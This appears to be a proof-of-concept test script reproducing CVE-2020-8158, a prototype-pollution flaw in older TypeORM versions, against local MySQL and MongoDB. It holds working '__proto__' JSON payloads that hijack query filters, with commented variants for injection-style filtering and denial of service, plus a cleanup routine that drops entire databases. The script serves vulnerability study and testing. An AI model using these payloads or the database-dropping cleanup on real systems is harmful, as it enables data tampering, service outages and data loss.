import { PrimaryGeneratedColumn, createConnection, getConnection, Entity, PrimaryColumn, Column, Connection, ManyToMany, JoinTable } from "typeorm";

/**
 * CVE-2020-8158 Real-World Test with Multiple Databases
 * 
 * This test demonstrates the vulnerability with actual database connections
 * using TypeORM < 0.2.25
 */

// console.log = require('debug')('cve-2020-8158:test-databases');
@Entity()
export class Category {
  @PrimaryGeneratedColumn()
  id!: number;

  @Column()
  name!: string;

}


@Entity()
export class Post {
  @PrimaryGeneratedColumn()
  id!: number;

  @Column({
    nullable: true
  })
  title?: string;

  @Column("text")
  text!: string;

  @ManyToMany(type => Category,)
  @JoinTable()
  categories!: Category[];

  [ key: string ]: any;
}




/**
 * Clean up databases
 */
async function cleanUp() {
  try {
    // Try MongoDB
    const mongoConn = getConnection("mongo");
    await mongoConn.dropDatabase();
    // await mongoConn.close();
  } catch (e) {
    console.log("MongoDB cleanup skipped or failed");
  }

  try {
    // Try MySQL
    const mysqlConn = getConnection("mysql");
    await mysqlConn.dropDatabase();
    // await mysqlConn.close();
  } catch (e) {
    console.log("MySQL cleanup skipped or failed");
  }

  try {
    // Try PostgreSQL
    const pgConn = getConnection("postgres");
    await pgConn.dropDatabase();
    await pgConn.close();
  } catch (e) {
    console.log("PostgreSQL cleanup skipped or failed");
  }
}


/**
 * Test with MySQL
 */
async function runTest() {
  console.log("\n=== Testing CVE-2020-8158 with MySQL ===\n");

  try {
    const mysqlConnection = await createConnection({
      name: "mysql",
      type: "mysql",
      host: "localhost",
      port: 3306,
      username: "root",
      password: "root",
      database: "test",
      entities: [ Post, Category ],
      synchronize: true,
      logging: false,
    });


    const mongoConnection = await createConnection({
      name: "mongo",
      type: "mongodb",
      host: "localhost",
      port: 27017,
      database: "test",
      entities: [ Post, Category ],
      synchronize: false,
      logging: false,
    });

    // await cleanUp();

    console.log("✓ Connected to MySQL");

    // Clean up tables (delete instead of truncate to avoid FK issues)
    // await mysqlConnection.query("DELETE FROM post_categories_category");
    // await mysqlConnection.query("DELETE FROM post");
    // await mysqlConnection.query("DELETE FROM user");
    // await mysqlConnection.query("DELETE FROM category");

    // Test 1: Basic insertion
    console.log("\n--- Test 1: Normal Post Insertion ---");


    // Test 2: Prototype pollution
    console.log("\n--- Test 2: Prototype Pollution via JSON ---");
        // const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":{"id":1}}}}}`)
    const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"hacked","where":null}}}}`)
    //max call stack payload => denial of service
    // const post = JSON.parse(`{"text":"a","title":{"__proto__":{"polluted":{}}}}`)
    //works
    // const post = JSON.parse(`{
    //             "text": "exploit",
    //             "title": {
    //                 "__proto__": {
    //                     "skip": 100000,
    //                     "take": 100000
    //                 }
    //             }
    //         }`);

    try {
      await mongoConnection.manager.save(Post, post)
      console.log("Post has been saved: ", post)
      const saved = await mongoConnection.manager.find(Post)
      console.log("Posts were found: ", saved)
    } catch (err) {
      console.error(err)
      const category = new Category()
      category.name = 'category'
      await mysqlConnection.manager.save(Category, category)
      console.log("Category has been saved: ", category)

    }

    // Check for pollution
    const categories = await mysqlConnection.manager.find(Category, {}) // WHERE name = "hacked"
    console.log("Categories were found: ", categories)

    // Test 3: SQL injection potential
    // console.log("\n--- Test 3: SQL Injection Potential ---");
    // const posts = await mysqlConnection.manager.find(Post);
    // console.log(`✓ Found ${posts.length} posts in MySQL`,posts);

    console.log("\n✓ MySQL connection closed");
  } catch (error) {
    console.error("MySQL test failed:", error);
  }
}


/**
 * Main execution
 */
async function main() {
  console.log("=== CVE-2020-8158 Real-World Database Tests ===");
  console.log("Testing Prototype Pollution in TypeORM\n");

  try {
    // Clean up any existing connections
    await cleanUp();
  } catch (e) {
    // Ignore cleanup errors on first run
  }

  await runTest();

  console.log("\n=== All Tests Completed ===\n");
  process.exit(0);
}

main().catch((error) => console.error("Fatal error:", error));